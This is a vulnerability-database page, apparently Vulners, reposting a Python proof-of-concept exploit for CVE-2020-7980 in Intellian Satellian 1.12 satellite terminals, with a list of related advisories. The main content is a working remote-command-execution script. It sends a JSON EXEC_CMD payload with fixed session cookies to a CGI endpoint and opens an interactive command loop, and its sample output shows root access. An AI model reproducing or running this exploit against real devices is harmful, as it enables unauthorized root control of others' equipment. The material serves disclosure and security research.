Lucene search
+L

Satellian 1.12 - Remote Code Execution

🗓️ 29 Jan 2020 00:00:00Reported by Xh4HType 
exploitpack
 exploitpack
👁 80 Views

Satellian 1.12 - Remote Code Execution CVE-2020-7980. PoC script for Intellian Satellite Terminal

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Satellian 1.12 - Remote Code Execution Exploit
29 Jan 202000:00
zdt
githubexploit
GithubExploit
Exploit for OS Command Injection in Intelliantech Aptus_Web
28 Jan 202023:27
githubexploit
attackerkb
ATTACKERKB
CVE-2020-7980
25 Jan 202019:15
attackerkb
circl
Circl
CVE-2020-7980
26 Jan 202012:37
circl
cnvd
CNVD
Intellian Satellian Aptus Web Console Remote Code Execution Vulnerability
4 Feb 202000:00
cnvd
checkpoint_advisories
Check Point Advisories
Intellian Aptus Web Remote Code Execution (CVE-2020-7980)
19 Mar 202000:00
checkpoint_advisories
cve
CVE
CVE-2020-7980
25 Jan 202018:44
cve
cvelist
Cvelist
CVE-2020-7980
25 Jan 202018:44
cvelist
gitee
Gitee
Exploit for OS Command Injection in Intelliantech Aptus_Web
6 Jan 202112:27
gitee
exploitdb
Exploit DB
Satellian 1.12 - Remote Code Execution
29 Jan 202000:00
exploitdb
Rows per page
# Exploit Title: Satellian 1.12 - Remote Code Execution
# Date: 2020-01-28
# Exploit Author: Xh4H
# Vendor Homepage: https://www.intelliantech.com/?lang=en
# Version: v1.12+
# Tested on: Kali linux, MacOS
# CVE : CVE-2020-7980

# Github repository: https://github.com/Xh4H/Satellian-CVE-2020-7980

# xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
#                   ________________________________________
#         (__)    /                                        \
#         (oo)   (     Intellian Satellite Terminal PoC     )
#   /-------\/ --' \________________________________________/ 
#  / |     ||
# *  ||----||             

# Performing initial scan. Listing available system binaries.
# Starting request to http://<redacted>
# Executing command /bin/ls /bin
# acu_server
# acu_tool
# addgroup
# adduser
# ...

# Satellian $ id
# uid=0(root) gid=0(root)

import requests
import argparse
import sys
import calendar
import time
from termcolor import colored

def cprint(text, color): # colored print
	sys.stdout.write(colored(text + "\n", color, attrs=["bold"]))

def httpize(url):
	if not url.startswith("http"):
		cprint("Missing protocol, using http . . .", "yellow")
		url = "http://" + url
	return url

def send_command(url, command, verbose):
	RCE = {"O_":"A","V_":1,"S_":123456789,"F_":"EXEC_CMD","P1_":{"F":"EXEC_CMD","Q":command}}
	string_to_split = '''"SUCCESS_"
},'''

	if verbose:
		cprint("Starting request to %s" % url, "yellow")
		cprint("Executing command %s" % command, "yellow")

	a = requests.post(url + '/cgi-bin/libagent.cgi?type=J&' + str(calendar.timegm(time.gmtime())) + '000', json=RCE, cookies={'ctr_t': '0', 'sid': '123456789'})
	command_output = a.content[a.content.find(string_to_split):-2].replace(string_to_split, '')

	if len(command_output) < 4 and verbose:
		cprint("Target doesn't seem to be vulnerable\nExiting.", 'red')
		sys.exit()
	print command_output

cprint("""
                  ________________________________________
         (__)    /                                        \\
         (oo)   (     Intellian Satellite Terminal PoC     )
  /-------\\/ --' \\________________________________________/ 
 / |     ||
*  ||----||             
""", "green")

parser = argparse.ArgumentParser(description="Satellian: A PoC script for CVE-2020-7980")
parser.add_argument("-u", "--url", help="Base url")
args = parser.parse_args()

if args.url is None:
	cprint("Missing arguments.\nUsage example:\n" + sys.argv[0] + " -u http://10.10.10.14\n", "red")
	sys.exit()

url = httpize(args.url)

def main():
	cprint("Performing initial scan. Listing available system binaries.", "green")
	send_command(url, '/bin/ls /bin', True)

	while True:
		command = raw_input('Satellian $ ')
		send_command(url, command, False)

if __name__ == '__main__':
	try:
		main()
	except Exception as e:
		print e
		print "\nAn error happened."

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2020 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.82544
80